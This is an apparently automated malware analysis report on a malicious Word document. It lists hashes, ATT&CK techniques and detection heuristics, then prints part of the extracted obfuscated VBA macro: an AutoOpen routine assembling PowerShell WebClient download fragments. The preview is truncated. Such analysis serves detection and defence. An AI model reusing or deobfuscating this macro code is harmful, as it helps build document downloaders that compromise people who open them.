Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7209c350fc49b89…

MALICIOUS

Office (OLE)

101.4 KB Created: 2018-02-13 21:49:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 2f202962251f85883e82f2b9d8e37187 SHA-1: 559ebb1c55995612dd0dcff1532cbbdc4e3535bd SHA-256: f7209c350fc49b89777e5bf06ca36e8e50c4fecf18cbbf25a7f26dd0e213532d
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute a command using the Shell() function, which is a common technique for downloading and executing further malicious content. The macro itself is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the AutoOpen and Shell() calls strongly indicates a downloader or droppper functionality.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24480 bytes
SHA-256: 80a8a6fea25059275f3bcb4ae57f6152111744adac6345053d4a6b4e88847fcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fKEQYRtjo"
Sub AutoOpen()
On Error Resume Next
zkGuFnGld = (wvUrTwd - Int(UiSzHjHTJ) * GSDjWGQisC / Oct(EqidmEOYXAsjw) - (MMAdXnlidfK - Sin(1466980)))
QZNapGaiP = (kVUfsvlcOlFw - Int(tQBUPG) * NDSfopKzKm / Oct(USZciI) - (upsBQYCRPTJol - Sin(2135478)))
XoahDpqDk = (RcfkjkQmscVQ - Int(MmtcWZqnWAu) * dzvbSBqEDjosRk / Oct(DXvIpHGNuJM) - (duBvbloD - Sin(7128638)))
Application.Run "bDiSpDpEiCctPj", dJYVcjRAapzms
VKabiLicz = (LmunQ - Int(sFpWlASGjN) * CoNHdhu / Oct(MVjLvclzIBi) - (GkUijwjzUsT - Sin(8996467)))
RBbnjthEA = (EFLutu - Int(DJEwd) * SUibi / Oct(uNTBl) - (uAzNPUdjAjPXm - Sin(962160)))
End Sub
Function dJYVcjRAapzms()
On Error Resume Next
jGJhPDjp = (JpY - Int(vlDjvCND) * sklurnEOKohJL / Oct(zobcconJ) - (jFOMi - Sin(2468603)))
joBRTwihkQ = (zIfKK - Int(ALzI) * pzAqPkPEvUal / Oct(FjaBpc) - (aCwrYdALt - Sin(7848698)))
TGtKM = (iUwwJJ - Int(pdzZRrWXRFbiw) * UhPnAJSl / Oct(DLGEwQPGZRI) - (wiA - Sin(6994396)))
kAVRYfN = iwGAWiECqlFowv + Mid("doHVSvtuZjscdQDq+PDq'+'c+489+489CFPDq+PQth489+489'+'+Q489+489thDqceCPDq+PD'+'qFPDq+PDqc+CFPDq+PDqcw-objecCFc+CPDqQth+Qth+PD489+489qFPDq+PDqcP489+489DQth+Qthq+P'+'DqtQth+QthCFc) raPDq+PDqndPDq+PDqoPOOLfhDKUniQRkZvNuV", 15, 183)
VkNcEqn = (niLJz - Int(DutOLmaHB) * CNqVVDOCspRZoT / Oct(QKldhuPSizEkmY) - (utKvhBz - Sin(4764290)))
wcFZSY = (kTIQKIdFZRvc - Int(dUEmvHYRScdY) * YOtluQlztNlwH / Oct(TwKUdrFP) - (quGsAXRrfsPk - Sin(2857149)))
PsXEHiw = (oXfrr - Int(HSoniESHHAj) * IYCroYkZbVGF / Oct(pEmWzwAOfiYGS) - (wFKji - Sin(2449724)))
moLQnpaKwpd = UAMukOqu + Mid("ilsVZwZjOCEfzkkNCFcwCFc+CPDq+PDqFcP'+'Dq+PDq-objecPDq+PDqtPDq+PDq489+489C'+'Fc) PDq+PDqSystem.PDq+PDqNPDq+Qth+QthPD489+489qet.PDq+P489+489DqWe'+'bCPDq+PDql489+'+Iock", 17, 145)
VpkZZCTc = (vtzfkKCfadq - Int(kWOoURmbs) * OOcaPr / Oct(zXzLXWQwZaZch) - (zzf - Sin(2305147)))
mlzGtGZhb = (sRwrz - Int(piilCKuKldG) * SNzzsvrMzLRQO / Oct(ODwcAfzbhslKWP) - (RwWrGNwMuY - Sin(193730)))
fiwOzaYc = (nli - Int(OWFwrM) * cavq / Oct(HMiYbhhPuZ) - (jPqD - Sin(797708)))
llhuoZw = bqJwiHGRIlM + Mid("Jmivbijrp://PDq+PD'+'qbellPDq489+489+LfkkD", 9, 29)
qwiSiwci = (WTFiq - Int(YFEOSoOWj) * IEc / Oct(kAbcouIHubbAI) - (NwkVNXHFloMiZu - Sin(7434971)))
uLUuVjblM = (wkRWaVrdtwT - Int(KcnSjS) * kRnqF / Oct(fPnQFVOVJirj) - (VrFGbQEquJB - Sin(8754053)))
viAqqXJr = (GlC - Int(JtLivGE) * nbFvBz / Oct(jtzRfKLZBzlFlW) - (OdS - Sin(7965914)))
TbhuqU = fKqDiXoQTmFouQ + Mid("zXktmAHQthPDq489+489Qth,[sT'+'RING][ChAR]'+'39) zNI.((489+489Ge489+489t-vARIaBLE Qth489+489*mDR*Qth).NAME[3,11,2]-jO489+489INQthQth)489)  -cREPlAce ([char]81+[char]116+[char]104),zLznjPZXTNdXuzwKqNWYEClYizwtqFw", 8, 172)
XGuCKC = (tMEKJIUWJwTKl - Int(BSrkM) * cLcwLpWfi / Oct(XkCDrt) - (MtFJwfWdMS - Sin(3223169)))
hLZSjfdJ = (jCDcWRhjFwT - Int(ostbjHiRHki) * GTjjGVwWGvvO / Oct(HjlKJbN) - (TUDmutFk - Sin(9808018)))
aKZGnJtfv = (wXMVDkBdk - Int(zjsziHcbwHwJQQ) * wcuLbtmHSzqG / Oct(cBJfrOcnbGH) - (RdnrdoGviEI - Sin(1356337)))
RtKbtUYs = zXDalBtopw + Mid("UczwOHTTcWXIfcdlOwzVhzPmWbqtLGjbQWkDq:Qt489+489h+QthPDq+PDq/PDq+PDq/actPDq+PDqiPDq+PzWA", 36, 49)
rszGdOQI = (vwTSCozWVmYJQz - Int(pIjKCX) * CMiJSOBHSmbis / Oct(JWEHjimUuwoLJ) - (rEqnaCvHktV - Sin(7182070)))
JMQJYztm = (OUmimHV - Int(lfDTpGiSjU) * ERPO / Oct(nDpzCmLmzNXAIQ) - (DoF - Sin(1155192)))
TvHZVGIi = (mTlvNpAZ - Int(jDzFqv) * RYczTQWcjiJ / Oct(RDQLJpJ) - (RujNlmY - Sin(3229271)))
RjwGDazIf = IFKZazoAq + Mid("VMzkiwzvSksMwfmRKwh+Qth  PDqL7kPDq,[CHaQth+QthR]96  -CR489+489Qth+QthePlacE  PDqCQFTIwkzsMfjGj", 19, 63)
qUMKFuK = (FWzJ - Int(ffhHK) * rpPhbR / Oct(oONhsFRK) - (swzQAjCkmWIh - Sin(786622)))
bwEwNKF = (EiOASifksCP - Int(OtXirrBsn) * JtQInfuFIok / Oct(ICiFzbIHFv) - (YUI - Sin(2435983)))
uQuCpWQAW = (iRjL - Int(VUUkJvzqnuarik) * Amrakfc / Oct(srniSm) - (rIYkniJVp - Sin(6184498)))
ozskR = YuRUTmQc + Mid("
... (truncated)

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